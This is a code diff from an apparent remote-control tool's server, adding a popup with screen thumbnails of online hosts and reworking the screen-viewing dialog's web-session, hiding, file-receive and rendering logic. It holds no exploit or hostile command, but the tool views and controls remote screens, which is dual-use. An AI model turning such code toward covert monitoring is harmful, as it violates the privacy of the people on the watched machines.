||||||
|
|
||||||
|
int innerW = client.Width() - 2 * PADDING;
|
||||||
|
if (innerW < 50) return; // 太窄,啥也别画,避免计算崩溃
|
||||||
|
|
||||||
|
// 计算文本以当前可用宽度换行后的高度(用一份临时 DC)
|
||||||
|
int textH = 0;
|
||||||
|
{
|
||||||
|
CClientDC dc(this);
|
||||||
|
CFont* old = dc.SelectObject(&m_font);
|
||||||
|
CRect rcCalc(0, 0, innerW, 32767);
|
||||||
|
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
|
||||||
|
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
|
||||||
|
textH = rcCalc.Height();
|
||||||
|
dc.SelectObject(old);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 文本固定在底部
|
||||||
|
outText.SetRect(client.left + PADDING,
|
||||||
|
client.bottom - PADDING - textH,
|
||||||
|
client.right - PADDING,
|
||||||
|
client.bottom - PADDING);
|
||||||
|
|
||||||
|
// 图像区占顶部剩余空间
|
||||||
|
outImg.SetRect(client.left + PADDING,
|
||||||
|
client.top + PADDING,
|
||||||
|
client.right - PADDING,
|
||||||
|
outText.top - IMAGE_TEXT_GAP);
|
||||||
|
|
||||||
|
// 高度不足以放图像(被压扁)→ 只画文本
|
||||||
|
if (outImg.Height() < 60) {
|
||||||
|
outImg.SetRectEmpty();
|
||||||
|
// 文本提到中间,避免压在底部边缘
|
||||||
|
outText.MoveToY(client.top + PADDING);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
|
||||||
|
{
|
||||||
|
if (rc.IsRectEmpty()) return;
|
||||||
|
|
||||||
|
// 边框
|
||||||
|
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
|
||||||
|
|
||||||
|
CRect rcInner = rc;
|
||||||
|
rcInner.DeflateRect(1, 1);
|
||||||
|
|
||||||
|
if (m_hasImage && m_image) {
|
||||||
|
if (m_loopMode) {
|
||||||
|
// 循环模式:保留长宽比适配 rect,黑色背景充当 letterbox 留白
|
||||||
|
dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
|
||||||
|
double imgW = (double)m_image->GetWidth();
|
||||||
|
double imgH = (double)m_image->GetHeight();
|
||||||
|
if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
|
||||||
|
double sx = rcInner.Width() / imgW;
|
||||||
|
double sy = rcInner.Height() / imgH;
|
||||||
|
double scale = sx < sy ? sx : sy;
|
||||||
|
int drawW = (int)(imgW * scale + 0.5);
|
||||||
|
int drawH = (int)(imgH * scale + 0.5);
|
||||||
|
int x = rcInner.left + (rcInner.Width() - drawW) / 2;
|
||||||
|
int y = rcInner.top + (rcInner.Height() - drawH) / 2;
|
||||||
|
Graphics g(dc.GetSafeHdc());
|
||||||
|
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||||
|
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||||
|
g.DrawImage(m_image.get(), x, y, drawW, drawH);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 单发:与原行为一致,铺满 rc
|
||||||
|
Graphics g(dc.GetSafeHdc());
|
||||||
|
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
|
||||||
|
g.SetSmoothingMode(SmoothingModeHighQuality);
|
||||||
|
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 占位灰色背景
|
||||||
|
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
|
||||||
|
|
||||||
|
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
|
||||||
|
UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
|
||||||
|
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
|
||||||
|
RECT rcInnerRaw = rcInner;
|
||||||
|
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
|
||||||
|
dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CWnd::OnSize(nType, cx, cy);
|
||||||
|
if (m_loopMode && GetSafeHwnd()) {
|
||||||
|
// 循环模式:所有排版交给 OnPaint 读取 client rect,重画即可
|
||||||
|
Invalidate();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
|
||||||
|
{
|
||||||
|
if (m_loopMode && lpMMI) {
|
||||||
|
// 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
|
||||||
|
lpMMI->ptMinTrackSize.x = 240;
|
||||||
|
lpMMI->ptMinTrackSize.y = 200;
|
||||||
|
}
|
||||||
|
CWnd::OnGetMinMaxInfo(lpMMI);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
|
||||||
|
{
|
||||||
|
RECT r = rc;
|
||||||
|
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
|
||||||
|
DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
|
||||||
|
}
|
||||||
85
server/2015Remote/PreviewTipWnd.h
Normal file
85
server/2015Remote/PreviewTipWnd.h
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
// PreviewTipWnd.h
|
||||||
|
// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。
|
||||||
|
// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <memory>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace Gdiplus { class Bitmap; }
|
||||||
|
|
||||||
|
class CPreviewTipWnd : public CWnd
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CPreviewTipWnd();
|
||||||
|
virtual ~CPreviewTipWnd();
|
||||||
|
|
||||||
|
// 创建浮窗。
|
||||||
|
// anchor 屏幕坐标,浮窗左上角
|
||||||
|
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
|
||||||
|
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
|
||||||
|
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
|
||||||
|
// loopMode true: 真正的可拖拽/缩放/最小化/最大化的独立窗口("播放快照"循环),
|
||||||
|
// 带标题栏 + 任务栏图标,关闭按钮走系统菜单;
|
||||||
|
// false: 单发 tooltip(双击主机的预览),无 chrome、不激活、置顶。
|
||||||
|
// windowTitle loopMode=true 时显示在标题栏与任务栏的文本;false 时忽略。
|
||||||
|
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
|
||||||
|
bool loopMode = false, const CStringW& windowTitle = L"");
|
||||||
|
|
||||||
|
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
|
||||||
|
void SetImageFromJpeg(const BYTE* data, size_t bytes);
|
||||||
|
// 标记预览不可用(请求超时 / 客户端报错)。
|
||||||
|
void MarkPreviewUnavailable();
|
||||||
|
|
||||||
|
WORD GetReqId() const { return m_reqId; }
|
||||||
|
void SetReqId(WORD id) { m_reqId = id; }
|
||||||
|
|
||||||
|
// 循环快照模式:开启后窗口销毁时会向 ownerHwnd 发送 msgId(LPARAM 是堆上的
|
||||||
|
// uint64_t* 携带 clientId,接收方负责 delete),且 PostNcDestroy 会自动 delete this。
|
||||||
|
// 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调,避免重复通知。
|
||||||
|
void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
|
||||||
|
uint64_t GetClientID() const { return m_clientId; }
|
||||||
|
bool IsLoopMode() const { return m_loopMode; }
|
||||||
|
|
||||||
|
protected:
|
||||||
|
afx_msg void OnPaint();
|
||||||
|
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||||
|
afx_msg void OnDestroy();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
|
||||||
|
virtual void PostNcDestroy();
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
private:
|
||||||
|
void RecalcLayoutAndResize();
|
||||||
|
void DrawImageArea(CDC& dc, const CRect& rc);
|
||||||
|
void DrawTextArea(CDC& dc, const CRect& rc);
|
||||||
|
// 循环模式:基于当前 client rect 重新分配图像区/文本区
|
||||||
|
void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
|
||||||
|
|
||||||
|
CStringW m_text;
|
||||||
|
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
|
||||||
|
int m_imageReserveH = 0; // 预留图像高度(按 16:9)
|
||||||
|
int m_imageDrawW = 0; // 实际图像绘制宽度
|
||||||
|
int m_imageDrawH = 0; // 实际图像绘制高度
|
||||||
|
int m_textW = 0;
|
||||||
|
int m_textH = 0;
|
||||||
|
|
||||||
|
bool m_hasImage = false;
|
||||||
|
bool m_unavailable = false;
|
||||||
|
std::unique_ptr<Gdiplus::Bitmap> m_image;
|
||||||
|
|
||||||
|
CFont m_font;
|
||||||
|
WORD m_reqId = 0;
|
||||||
|
|
||||||
|
// 循环快照模式相关
|
||||||
|
bool m_loopMode = false;
|
||||||
|
HWND m_loopOwner = nullptr;
|
||||||
|
UINT m_loopMsg = 0;
|
||||||
|
uint64_t m_clientId = 0;
|
||||||
|
// 标题栏 / 任务栏图标。WM_SETICON 不转移所有权(MSDN:originator 必须自己释放),
|
||||||
|
// 析构时 DestroyIcon;不能在 OnDestroy 里销毁,因为系统在 WM_NCDESTROY 之前还在用它。
|
||||||
|
HICON m_hIconSmall = nullptr;
|
||||||
|
HICON m_hIconBig = nullptr;
|
||||||
|
};
|
||||||
@@ -157,8 +157,9 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
|
|||||||
if (pClientID) {
|
if (pClientID) {
|
||||||
m_ClientID = *((uint64_t*)pClientID);
|
m_ClientID = *((uint64_t*)pClientID);
|
||||||
|
|
||||||
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
|
// Notify web clients of resolution (only for Web sessions, not MFC sessions)
|
||||||
if (WebService().IsRunning()) {
|
// At this point, IsMfcTriggered is still set if MFC triggered this dialog
|
||||||
|
if (WebService().IsRunning() && !WebService().IsMfcTriggered(m_ClientID)) {
|
||||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||||
@@ -237,10 +238,14 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
|||||||
StopAudioPlayback();
|
StopAudioPlayback();
|
||||||
|
|
||||||
// 清理所有文件接收对话框
|
// 清理所有文件接收对话框
|
||||||
for (auto& pair : m_FileRecvDlgs) {
|
// 注意:对话框可能已经被用户关闭并自我销毁(PostNcDestroy 中 delete this)
|
||||||
if (pair.second) {
|
// 存储了 HWND 用于安全检查,避免访问野指针
|
||||||
pair.second->DestroyWindow();
|
for (auto& entry : m_FileRecvDlgs) {
|
||||||
delete pair.second;
|
HWND hWnd = entry.second.first;
|
||||||
|
if (hWnd && ::IsWindow(hWnd)) {
|
||||||
|
// 通过 HWND 同步发送关闭消息,确保对话框在析构前完全关闭
|
||||||
|
// 使用 SendMessage 而非 PostMessage,避免异步问题
|
||||||
|
::SendMessage(hWnd, WM_CLOSE, 0, 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
m_FileRecvDlgs.clear();
|
m_FileRecvDlgs.clear();
|
||||||
@@ -484,6 +489,8 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
ON_WM_VSCROLL()
|
ON_WM_VSCROLL()
|
||||||
ON_WM_LBUTTONDOWN()
|
ON_WM_LBUTTONDOWN()
|
||||||
ON_WM_LBUTTONUP()
|
ON_WM_LBUTTONUP()
|
||||||
|
ON_WM_RBUTTONDOWN()
|
||||||
|
ON_WM_RBUTTONUP()
|
||||||
ON_WM_MOUSEWHEEL()
|
ON_WM_MOUSEWHEEL()
|
||||||
ON_WM_MOUSEMOVE()
|
ON_WM_MOUSEMOVE()
|
||||||
ON_WM_MOUSELEAVE()
|
ON_WM_MOUSELEAVE()
|
||||||
@@ -492,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
ON_WM_LBUTTONDBLCLK()
|
ON_WM_LBUTTONDBLCLK()
|
||||||
ON_WM_ACTIVATE()
|
ON_WM_ACTIVATE()
|
||||||
ON_WM_TIMER()
|
ON_WM_TIMER()
|
||||||
|
ON_WM_ERASEBKGND()
|
||||||
ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
|
ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
|
||||||
ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
|
ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
|
||||||
ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
|
ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
|
||||||
@@ -500,6 +508,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
||||||
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
||||||
ON_WM_DROPFILES()
|
ON_WM_DROPFILES()
|
||||||
|
ON_WM_CAPTURECHANGED()
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -683,7 +692,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
if (m_bIsCtrl) {
|
if (m_bIsCtrl) {
|
||||||
ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME
|
ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME
|
||||||
}
|
}
|
||||||
m_bIsTraceCursor = FALSE; //不是跟踪
|
m_bIsTraceCursor = !m_bIsCtrl; // 非控制状态,则跟踪鼠标
|
||||||
m_ClientCursorPos.x = 0;
|
m_ClientCursorPos.x = 0;
|
||||||
m_ClientCursorPos.y = 0;
|
m_ClientCursorPos.y = 0;
|
||||||
m_bCursorIndex = 0;
|
m_bCursorIndex = 0;
|
||||||
@@ -693,6 +702,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||||
|
|
||||||
@@ -761,14 +771,32 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
if (pMain)
|
if (pMain)
|
||||||
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
|
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
|
||||||
|
|
||||||
// 注册屏幕上下文到 WebService(用于 Web 端鼠标/键盘控制)
|
// Determine session type: MFC or Web
|
||||||
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
// Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
|
||||||
|
// even if WebTriggered is also true (happens when Web is already open for same device)
|
||||||
|
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
|
||||||
|
bool isWebSession = false;
|
||||||
|
if (isMfcSession) {
|
||||||
|
// MFC session: clear the flag, don't register with WebService
|
||||||
|
WebService().ClearMfcTriggered(m_ClientID);
|
||||||
|
// m_bIsWebSession remains false (default)
|
||||||
|
} else {
|
||||||
|
// Check if this is a Web session
|
||||||
|
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
|
||||||
|
|
||||||
// Hide window if this session was triggered by web client
|
// Only register screen context for Web sessions
|
||||||
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
|
// MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
|
||||||
|
// This prevents MFC close from deleting Web's context (they share same device_id key)
|
||||||
|
if (isWebSession) {
|
||||||
|
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
||||||
m_bHide = true;
|
m_bHide = true;
|
||||||
|
m_bIsWebSession = true;
|
||||||
ShowWindow(SW_HIDE);
|
ShowWindow(SW_HIDE);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
|
||||||
|
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -776,8 +804,10 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
|
|
||||||
VOID CScreenSpyDlg::OnClose()
|
VOID CScreenSpyDlg::OnClose()
|
||||||
{
|
{
|
||||||
// 注销屏幕上下文(Web 端控制)
|
// Only unregister if this is a Web session (we only registered for Web sessions)
|
||||||
|
if (m_bIsWebSession) {
|
||||||
WebService().UnregisterScreenContext(m_ClientID);
|
WebService().UnregisterScreenContext(m_ClientID);
|
||||||
|
}
|
||||||
|
|
||||||
m_bIsClosed = true;
|
m_bIsClosed = true;
|
||||||
m_bIsCtrl = FALSE;
|
m_bIsCtrl = FALSE;
|
||||||
@@ -840,13 +870,15 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam)
|
|||||||
uint64_t transferID = msgData->transferID;
|
uint64_t transferID = msgData->transferID;
|
||||||
|
|
||||||
// 创建或获取进度对话框(按 transferID 管理)
|
// 创建或获取进度对话框(按 transferID 管理)
|
||||||
CDlgFileSend*& dlg = m_FileRecvDlgs[transferID];
|
auto& entry = m_FileRecvDlgs[transferID];
|
||||||
if (dlg == nullptr) {
|
CDlgFileSend* dlg = entry.second;
|
||||||
|
if (dlg == nullptr || !::IsWindow(entry.first)) {
|
||||||
dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE);
|
dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE);
|
||||||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||||||
dlg->SetWindowTextA(_TR("接收文件"));
|
dlg->SetWindowTextA(_TR("接收文件"));
|
||||||
dlg->ShowWindow(SW_SHOW);
|
dlg->ShowWindow(SW_SHOW);
|
||||||
dlg->m_bKeepConnection = TRUE; // 不断开连接
|
dlg->m_bKeepConnection = TRUE; // 不断开连接
|
||||||
|
entry = { dlg->GetSafeHwnd(), dlg };
|
||||||
}
|
}
|
||||||
|
|
||||||
// 接收文件
|
// 接收文件
|
||||||
@@ -889,7 +921,11 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam)
|
|||||||
// 关闭进度对话框
|
// 关闭进度对话框
|
||||||
auto it = m_FileRecvDlgs.find(transferID);
|
auto it = m_FileRecvDlgs.find(transferID);
|
||||||
if (it != m_FileRecvDlgs.end()) {
|
if (it != m_FileRecvDlgs.end()) {
|
||||||
it->second->FinishFileSend(verifyOk);
|
// 只有窗口有效时才调用 FinishFileSend
|
||||||
|
if (::IsWindow(it->second.first)) {
|
||||||
|
it->second.second->FinishFileSend(verifyOk);
|
||||||
|
}
|
||||||
|
// 无论窗口是否有效,都要移除条目(避免累积无效条目)
|
||||||
m_FileRecvDlgs.erase(it);
|
m_FileRecvDlgs.erase(it);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -964,18 +1000,11 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
PrepareDrawing(m_BitmapInfor_Full);
|
PrepareDrawing(m_BitmapInfor_Full);
|
||||||
// 分辨率切换完成,允许解码
|
// 分辨率切换完成,允许解码
|
||||||
m_bResolutionChanging = false;
|
m_bResolutionChanging = false;
|
||||||
// Notify web clients of resolution change
|
// Notify web clients of resolution change (only for Web session dialogs)
|
||||||
if (WebService().IsRunning()) {
|
if (m_bIsWebSession && WebService().IsRunning()) {
|
||||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||||
|
|
||||||
// Hide window if this session was triggered by web client (and hiding is enabled)
|
|
||||||
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
|
|
||||||
m_bHide = true;
|
|
||||||
ShowWindow(SW_HIDE);
|
|
||||||
Mprintf("[ScreenSpyDlg] Web-triggered session, hiding window for device %llu\n", m_ClientID);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1266,8 +1295,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
|
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
|
||||||
if (bOldCursorIndex != m_bCursorIndex) {
|
if (bOldCursorIndex != m_bCursorIndex) {
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
// 通知 Web 客户端光标变化
|
// 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
|
||||||
if (WebService().IsRunning()) {
|
if (m_bIsWebSession && WebService().IsRunning()) {
|
||||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||||
}
|
}
|
||||||
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
||||||
@@ -1317,8 +1346,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Broadcast H264 keyframe to web clients
|
// Broadcast H264 keyframe to web clients (only for Web session dialogs)
|
||||||
if (NextScreenLength > 0 && WebService().IsRunning()) {
|
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
||||||
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
||||||
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
||||||
uint8_t frameType = 1; // Keyframe
|
uint8_t frameType = 1; // Keyframe
|
||||||
@@ -1376,9 +1405,9 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Broadcast H264 frame to web clients
|
// Broadcast H264 frame to web clients (only for Web session dialogs)
|
||||||
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
|
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
|
||||||
if (NextScreenLength > 0 && WebService().IsRunning()) {
|
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
||||||
// Detect H264 keyframe by checking NAL unit type
|
// Detect H264 keyframe by checking NAL unit type
|
||||||
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
|
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
|
||||||
bool isKeyFrame = false;
|
bool isKeyFrame = false;
|
||||||
@@ -1463,8 +1492,8 @@ VOID CScreenSpyDlg::DrawScrollFrame()
|
|||||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
|
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
|
||||||
if (bOldCursorIndex != m_bCursorIndex) {
|
if (bOldCursorIndex != m_bCursorIndex) {
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
// 通知 Web 客户端光标变化
|
// 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
|
||||||
if (WebService().IsRunning()) {
|
if (m_bIsWebSession && WebService().IsRunning()) {
|
||||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1581,6 +1610,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 跳过默认背景擦除:随帧重绘时若先 FillRect 灰色再 BitBlt 帧,会在两步之间
|
||||||
|
// 出现"瞬时灰背景",启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘,
|
||||||
|
// 灰一闪 → 帧覆盖 → 重画光标,循环看上去就是光标频繁闪烁。
|
||||||
|
// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区,本就不需要先擦;
|
||||||
|
// m_bIsFirst(首帧未到达)仍走默认擦除以避免显示残留内容。
|
||||||
|
BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
|
||||||
|
{
|
||||||
|
if (m_bIsFirst) {
|
||||||
|
return __super::OnEraseBkgnd(pDC);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnPaint()
|
void CScreenSpyDlg::OnPaint()
|
||||||
{
|
{
|
||||||
if (m_bIsClosed) return;
|
if (m_bIsClosed) return;
|
||||||
@@ -1594,9 +1636,18 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
|
|
||||||
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||||
if (m_bAdaptiveSize) {
|
|
||||||
int dstW = m_CRect.Width();
|
int dstW = m_CRect.Width();
|
||||||
int dstH = m_CRect.Height();
|
int dstH = m_CRect.Height();
|
||||||
|
|
||||||
|
// 放大模式渲染
|
||||||
|
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
|
||||||
|
// 使用放大区域作为源进行StretchBlt
|
||||||
|
StretchBlt(m_hFullDC, 0, 0, dstW, dstH,
|
||||||
|
m_hFullMemDC,
|
||||||
|
m_rcZoomSrc.left, m_rcZoomSrc.top,
|
||||||
|
m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
|
||||||
|
SRCCOPY);
